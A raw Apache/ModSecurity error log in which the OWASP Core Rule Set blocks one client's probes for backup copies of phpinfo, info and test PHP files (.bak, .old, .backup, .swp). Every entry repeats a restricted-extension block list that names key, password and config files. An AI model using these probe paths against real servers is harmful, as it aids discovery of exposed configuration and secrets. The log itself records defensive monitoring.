[Sun Nov 16 05:35:03.363677 2025] [:error] [pid 103448] [client 18.119.101.32:60818] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/phpinfo.php.bak"] [unique_id "aRlUdwbV20V557lJgw5ymQAAAAs"]
[Sun Nov 16 05:35:03.364013 2025] [:error] [pid 103448] [client 18.119.101.32:60818] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/phpinfo.php.bak"] [unique_id "aRlUdwbV20V557lJgw5ymQAAAAs"]
[Sun Nov 16 05:35:03.364201 2025] [:error] [pid 103448] [client 18.119.101.32:60818] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/phpinfo.php.bak"] [unique_id "aRlUdwbV20V557lJgw5ymQAAAAs"]
[Sun Nov 16 05:35:03.469581 2025] [:error] [pid 105733] [client 18.119.101.32:60796] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/info.php.bak"] [unique_id "aRlUdwm3iQ6of_5tM-vZBgAAAAY"]
[Sun Nov 16 05:35:03.469896 2025] [:error] [pid 105733] [client 18.119.101.32:60796] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/info.php.bak"] [unique_id "aRlUdwm3iQ6of_5tM-vZBgAAAAY"]
[Sun Nov 16 05:35:03.470050 2025] [:error] [pid 105733] [client 18.119.101.32:60796] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/info.php.bak"] [unique_id "aRlUdwm3iQ6of_5tM-vZBgAAAAY"]
[Sun Nov 16 05:35:08.658140 2025] [:error] [pid 105715] [client 18.119.101.32:60820] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/php_info.php.bak"] [unique_id "aRlUfDHqqjYXoy22w5Lv4gAAAAE"]
[Sun Nov 16 05:35:08.658490 2025] [:error] [pid 105715] [client 18.119.101.32:60820] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/php_info.php.bak"] [unique_id "aRlUfDHqqjYXoy22w5Lv4gAAAAE"]
[Sun Nov 16 05:35:08.658675 2025] [:error] [pid 105715] [client 18.119.101.32:60820] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/php_info.php.bak"] [unique_id "aRlUfDHqqjYXoy22w5Lv4gAAAAE"]
[Sun Nov 16 05:35:08.729132 2025] [:error] [pid 103445] [client 18.119.101.32:60836] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/info.php.old"] [unique_id "aRlUfEC1MmZNgKkPK0wSZwAAAAg"]
[Sun Nov 16 05:35:08.729448 2025] [:error] [pid 103445] [client 18.119.101.32:60836] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/info.php.old"] [unique_id "aRlUfEC1MmZNgKkPK0wSZwAAAAg"]
[Sun Nov 16 05:35:08.729608 2025] [:error] [pid 103445] [client 18.119.101.32:60836] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/info.php.old"] [unique_id "aRlUfEC1MmZNgKkPK0wSZwAAAAg"]
[Sun Nov 16 05:35:08.769282 2025] [:error] [pid 103444] [client 18.119.101.32:60850] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test.php.old"] [unique_id "aRlUfEjUGFX9l3ZphyhApAAAAAc"]
[Sun Nov 16 05:35:08.769610 2025] [:error] [pid 103444] [client 18.119.101.32:60850] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test.php.old"] [unique_id "aRlUfEjUGFX9l3ZphyhApAAAAAc"]
[Sun Nov 16 05:35:08.769782 2025] [:error] [pid 103444] [client 18.119.101.32:60850] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test.php.old"] [unique_id "aRlUfEjUGFX9l3ZphyhApAAAAAc"]
[Sun Nov 16 05:35:08.799413 2025] [:error] [pid 103398] [client 18.119.101.32:60860] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/phpinfo.php.old"] [unique_id "aRlUfLczEoTwe_Jf335FUQAAAAA"]
[Sun Nov 16 05:35:08.799706 2025] [:error] [pid 103398] [client 18.119.101.32:60860] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/phpinfo.php.old"] [unique_id "aRlUfLczEoTwe_Jf335FUQAAAAA"]
[Sun Nov 16 05:35:08.799887 2025] [:error] [pid 103398] [client 18.119.101.32:60860] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/phpinfo.php.old"] [unique_id "aRlUfLczEoTwe_Jf335FUQAAAAA"]
[Sun Nov 16 05:35:08.811950 2025] [:error] [pid 105731] [client 18.119.101.32:60868] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/php_info.php.old"] [unique_id "aRlUfN_OnafWzHw2cSzD8QAAAAI"]
[Sun Nov 16 05:35:08.812270 2025] [:error] [pid 105731] [client 18.119.101.32:60868] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/php_info.php.old"] [unique_id "aRlUfN_OnafWzHw2cSzD8QAAAAI"]
[Sun Nov 16 05:35:08.812423 2025] [:error] [pid 105731] [client 18.119.101.32:60868] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/php_info.php.old"] [unique_id "aRlUfN_OnafWzHw2cSzD8QAAAAI"]
[Sun Nov 16 05:35:08.847685 2025] [:error] [pid 103446] [client 18.119.101.32:60876] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test.php.bak"] [unique_id "aRlUfE-c4YqyOTFJOSeISwAAAAk"]
[Sun Nov 16 05:35:08.847951 2025] [:error] [pid 103446] [client 18.119.101.32:60876] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test.php.bak"] [unique_id "aRlUfE-c4YqyOTFJOSeISwAAAAk"]
[Sun Nov 16 05:35:08.848121 2025] [:error] [pid 103446] [client 18.119.101.32:60876] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test.php.bak"] [unique_id "aRlUfE-c4YqyOTFJOSeISwAAAAk"]
[Sun Nov 16 05:35:24.582583 2025] [:error] [pid 105715] [client 18.119.101.32:37208] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test.php.backup"] [unique_id "aRlUjDHqqjYXoy22w5Lv4wAAAAE"]
[Sun Nov 16 05:35:24.582898 2025] [:error] [pid 105715] [client 18.119.101.32:37208] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test.php.backup"] [unique_id "aRlUjDHqqjYXoy22w5Lv4wAAAAE"]
[Sun Nov 16 05:35:24.583061 2025] [:error] [pid 105715] [client 18.119.101.32:37208] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test.php.backup"] [unique_id "aRlUjDHqqjYXoy22w5Lv4wAAAAE"]
[Sun Nov 16 05:35:24.658434 2025] [:error] [pid 103448] [client 18.119.101.32:37222] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/info.php.swp"] [unique_id "aRlUjAbV20V557lJgw5ymwAAAAs"]
[Sun Nov 16 05:35:24.658730 2025] [:error] [pid 103448] [client 18.119.101.32:37222] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/info.php.swp"] [unique_id "aRlUjAbV20V557lJgw5ymwAAAAs"]
[Sun Nov 16 05:35:24.658888 2025] [:error] [pid 103448] [client 18.119.101.32:37222] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/info.php.swp"] [unique_id "aRlUjAbV20V557lJgw5ymwAAAAs"]
[Sun Nov 16 05:35:24.782821 2025] [:error] [pid 105706] [client 18.119.101.32:37226] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/phpinfo.php.swp"] [unique_id "aRlUjPgkUVuXhjEnxphnPQAAAAQ"]
[Sun Nov 16 05:35:24.783147 2025] [:error] [pid 105706] [client 18.119.101.32:37226] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/phpinfo.php.swp"] [unique_id "aRlUjPgkUVuXhjEnxphnPQAAAAQ"]
[Sun Nov 16 05:35:24.783331 2025] [:error] [pid 105706] [client 18.119.101.32:37226] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/phpinfo.php.swp"] [unique_id "aRlUjPgkUVuXhjEnxphnPQAAAAQ"]
